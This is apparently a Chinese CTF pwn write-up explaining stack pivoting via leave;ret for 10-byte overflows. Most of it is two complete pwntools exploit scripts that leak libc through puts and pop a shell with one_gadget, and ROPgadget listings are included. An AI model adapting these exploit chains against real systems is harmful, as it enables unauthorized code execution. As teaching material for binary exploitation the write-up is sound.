ret相当于pop eip;
mov esp,ebp 让esp指向ebp的地址
如果在fake ebp1处写入fake ebp2的地址,然后再来一步leave就可以让ebp指向fake ebp2
上述的解释比较简洁但是利用起来还是会遇到很多问题
下面我用一个例题来说一下我自己的详细理解
ida
这个函数我不知道怎么利用,这里用栈迁移来做一下这个题
前面定义的
bss=elf.bss()
bss4=bss+0x400
bss6=bss+0x600
def duan():
gdb.attach(io)
pause()
第一次尝试栈迁移,先把pre rbp改成bss然后返回函数改成read的地址(0x401216)(如下图)
然后程序开始在0x401216处开始执行
之后会继续执行puts和read,recv和send一下
payload=cyclic(0x20)+p64(bss4)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
payload=cyclic(0x20)+p64(bss4+0x20)+p64(read)
io.send(payload)
io.recvuntil(b'his life?\n')
io.sendline(b'k')
然后先在第一处fake ebp1填入稍远处的地址,这里一般是bss+0x10就够(这里说明一下为什么要怎么写,这是为了最后的leave ret把rbp pop到新的地址,然后我们之前构造的ROP链就变成了父函数,ret完之后就可以调用ROP链函数)
payload=p64(bss4+0x20+10)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(payload)
利用puts泄露出来的libc的基地址然后返回main函数
其实这时候的main函数和我们一开始进入的不太一样,这是在bss段里调用的main函数
然后重复最开始的两次栈迁移(leave ret)
#1.stack pivoting payload=cyclic(0x20)+p64(bss6)+p64(read) io.send(payload) io.recvuntil(b'his life?\n') io.sendline(b'k') #2.stack pivoting payload=cyclic(0x20)+p64(bss6+0x20)+p64(read) io.send(payload) io.recvuntil(b'his life?\n') io.sendline(b'k') #duan() #write bss6+0x20 payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og) io.send(payload)
from pwn import * context(os='linux',arch='amd64',log_level='debug') io=process('./traveler') elf=ELF('./traveler') libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so') def duan(): gdb.attach(io) pause() #address read=0x401216 main=0x4011f4 rdi=0x4012c3 rsi_r15=0x4012c1 puts_plt=elf.plt['puts'] puts_got=elf.got['puts'] bss=elf.bss() bss4=bss+0x400 bss6=bss+0x600 #process #1.stack pivoting io.recvuntil(b'r u?\n') payload=cyclic(0x20)+p64(bss4)+p64(read) io.send(payload) io.recvuntil(b'his life?\n') io.sendline(b'k') #2.stack pivoting #io.recvuntil(b'r u?\n') payload=cyclic(0x20)+p64(bss4+0x20)+p64(read) io.send(payload) io.recvuntil(b'his life?\n') io.sendline(b'k') #write bss4+0x20 payload=p64(bss4+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.send(payload) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) libc_base=puts_addr-libc.symbols['puts'] print(hex(libc_base)) #libc-ROP rdi=libc_base+libc.search(asm('pop rdi;ret;')).__next__() r12=libc_base+libc.search(asm('pop r12;ret;')).__next__() #one_gadgets ogs=[0xe3afe,0xe3b01,0xe3b04] og=libc_base+ogs[0] #1.stack pivoting payload=cyclic(0x20)+p64(bss6)+p64(read) io.send(payload) io.recvuntil(b'his life?\n') io.sendline(b'k') #2.stack pivoting payload=cyclic(0x20)+p64(bss6+0x20)+p64(read) io.send(payload) io.recvuntil(b'his life?\n') io.sendline(b'k') #duan() #write bss6+0x20 payload=p64(bss6+0x30)+p64(r12)+p64(0)+p64(og) io.send(payload) io.interactive() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ''' ''' 0x00000000004012bc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012be : pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012c0 : pop r14 ; pop r15 ; ret 0x00000000004012c2 : pop r15 ; ret 0x00000000004012bb : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x00000000004012bf : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040117d : pop rbp ; ret 0x00000000004012c3 : pop rdi ; ret 0x00000000004012c1 : pop rsi ; pop r15 ; ret 0x00000000004012bd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret '''
学会了这种10字节溢出题目
那么很多栈溢出题都可以用这种方法解决
ida
这个也是10字节溢出,不过比较简单
from pwn import * #from LibcSearcher import * context(os="linux",arch="amd64",log_level='debug') elf=ELF("./pwn3") libc=ELF('/lib/x86_64-linux-gnu/libc-2.31.so') io=process("./pwn3") #io=remote('39.99.242.16',1002) def duan(): gdb.attach(io) pause() puts_plt = elf.symbols['puts'] puts_got = elf.got['puts'] main=0x4011db leave_ret=0x401214 read=0x4011FD #bss=elf.bss()+0x500 bss=0x404000+0x500 rdi=0x401283 main=0x4011db io.recv() pay=b'a'*0x20+p64(bss)+p64(0x4011FD) io.send(pay) pay1=b'a'*0x20+p64(bss+0x20)+p64(0x4011FD) io.send(pay1) pay2=p64(bss+0x30)+p64(rdi)+p64(puts_got)+p64(puts_plt)+p64(main) #duan() io.send(pay2) puts_addr=u64(io.recvuntil(b"\x7f")[-6:].ljust(8,b'\x00')) libc_base=puts_addr-libc.symbols['puts'] print(hex(libc_base)) #puts_addr=u64(r.recv(6)+b'\x00'*2) #libc_base=put_addr-libc.symbols['puts'] ogs = [0xe3afe,0xe3b01,0xe3b04] og = libc_base+ogs[0] r12=libc_base+libc.search(asm('pop r12;ret;')).__next__() io.recv() pay3=b'a'*0x20+p64(bss+0x100)+p64(0x4011fd) io.send(pay3) pay4=b'a'*0x20+p64(bss+0x120)+p64(0x4011fd) io.send(pay4) payload=p64(bss+0x130)+p64(r12)+p64(0)+p64(og) io.send(payload) io.interactive() ''' 0xe3afe execve("/bin/sh", r15, r12) constraints: [r15] == NULL || r15 == NULL [r12] == NULL || r12 == NULL 0xe3b01 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe3b04 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL ''' ''' 0x000000000040127c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040127e : pop r13 ; pop r14 ; pop r15 ; ret 0x0000000000401280 : pop r14 ; pop r15 ; ret 0x0000000000401282 : pop r15 ; ret 0x000000000040127b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040127f : pop rbp ; pop r14 ; pop r15 ; ret 0x000000000040115d : pop rbp ; ret 0x0000000000401283 : pop rdi ; ret 0x0000000000401281 : pop rsi ; pop r15 ; ret 0x000000000040127d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret 0x000000000040101a : ret '''